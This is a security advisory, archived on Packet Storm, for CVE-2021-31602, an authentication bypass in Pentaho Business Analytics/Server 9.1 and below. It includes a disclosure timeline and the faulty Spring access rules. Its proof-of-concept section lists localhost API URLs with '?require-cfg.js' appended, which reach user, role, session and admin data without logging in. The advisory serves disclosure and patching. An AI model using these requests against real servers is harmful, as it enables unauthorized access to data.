

Pentaho Business Analytics / Pentaho Business Server 9.1 Authentication Bypass

Authored by Altion Malka, Alberto Favero

Posted Nov 5, 2021

Pentaho Business Analytics and Pentaho Business Server versions 9.1 and below suffer from an authentication bypass vulnerability related to Spring APIs.

tags | exploit, bypass

advisories | CVE-2021-31602

SHA-256 | 7f8a25e1b9943928e3d57e11e94b4b22917396971502415544f387e2340268c3 Download | Favorite | View

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Authentication Bypass of Spring APIs
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification: 8th February 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31602
Author(s) of Advisory: Alberto Favero (HawSec) & Altion Malka

--- ### --- ### ---

Product Description:

Pentaho is business intelligence (BI) software that provides data integration, OLAP services, reporting, information dashboards, data mining and extract, transform, load (ETL) capabilities. Its headquarters are in Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and in 2017 became part of Hitachi Vantara.

(Source: <https://en.wikipedia.org/wiki/Pentaho>)

--- ### --- ### ---

Vulnerability Details:

The security model of Pentaho Business Analytics consists of different layers of Access Control (AC). The applicationContext directives defined in the applicationContext-spring-security.xml file were of particular interest and further examination of the access control entries revealed the following misconfigurations.

--- ### --- ### ---

```
<sec:intercept-url pattern="/\A/api/.*/require-cfg.js.\A"
access="Anonymous,Authenticated" />
<sec:intercept-url pattern="/\A/api/.*/require-js-cfg.js.\A"
access="Anonymous,Authenticated" />
<sec:intercept-url pattern="/\A/api/.*/\A" access="Authenticated" />
```

--- ### --- ### ---

Specifically, the last directive explicitly declares that the available endpoints require that users are authenticated. However, the first and second directives bypass this requirement by allowing unauthenticated access to arbitrary "/api/*" endpoints when the "require-cfg.js" URL parameter is present. As a result, it is possible for unauthenticated users to access arbitrary Pentaho API endpoints by including the "require-cfg.js" or "require-js-cfg.js" URL parameter as part of the HTTP request.

For example, the following URL can be used to retrieve the Pentaho API version, <http://localhost:8080/pentaho/api/version/show?require-cfg.js>

--- ### --- ### ---

Proof of Concept (PoC):

See Ginger (<https://github.com/HawSec/ginger>)

or

The following is a non-exhaustive list of the Pentaho API endpoints susceptible to this vulnerability.

```
http://localhost:8080/pentaho/api/version/show?require-cfg.js
http://localhost:8080/pentaho/api/version/softwareUpdates?require-cfg.js
http://localhost:8080/pentaho/api/emailconfig/isValid?require-cfg.js
http://localhost:8080/pentaho/api/authorization/action/authorize?require-cfg.js
http://localhost:8080/pentaho/api/userinfo/userRoles?require-cfg.js
http://localhost:8080/pentaho/api/system/locale?require-cfg.js
http://localhost:8080/pentaho/api/system/timezones?require-cfg.js
http://localhost:8080/pentaho/api/system/executableTypes?require-cfg.js
http://localhost:8080/pentaho/api/theme/list?require-cfg.js
http://localhost:8080/pentaho/api/theme/active?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/users?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/roles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/allRoles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/systemRoles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/extraRoles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/permission-roles?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/state?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/jobinfotest?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/blockout/blockoutjobs?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/blockout/hashblockouts?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/blockout/shouldFireNow?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/generatedContentForSchedule?require-cfg.js
http://localhost:8080/pentaho/api/repos/executableTypes?require-cfg.js
http://localhost:8080/pentaho/api/plugin-manager/overlays?require-cfg.js
http://localhost:8080/pentaho/api/mantle/locale?require-cfg.js
http://localhost:8080/pentaho/api/mantle/isAuthenticated?require-cfg.js
http://localhost:8080/pentaho/api/mantle/getAdminContent?require-cfg.js
http://localhost:8080/pentaho/api/mantle/settings?require-cfg.js
http://localhost:8080/pentaho/api/mantle/registeredPlugins?require-cfg.js
http://localhost:8080/pentaho/api/service/assignment?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/reservedCharacters?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/generatedContentForSchedule?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/canAdminister?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/reservedCharactersDisplay?require-cfg.js
http://localhost:8080/pentaho/api/session/username?require-cfg.js
http://localhost:8080/pentaho/api/session/workspaceDirForUser?require-cfg.js
http://localhost:8080/pentaho/api/session/setredirect?require-cfg.js
http://localhost:8080/pentaho/api/session/userWorkspaceDir?require-cfg.js
```

--- ### --- ### ---

Credits:

This vulnerability was discovered by Alberto Favero & Altion Malka

--- ### --- ### ---

--

BlackHawk - hawgotyou@gmail.com

Search ...

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Upload (946)

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

Systems

Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.

[Login](#) or [Register](#) to add favorites

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (876)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)


[Terms of Service](#)


[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)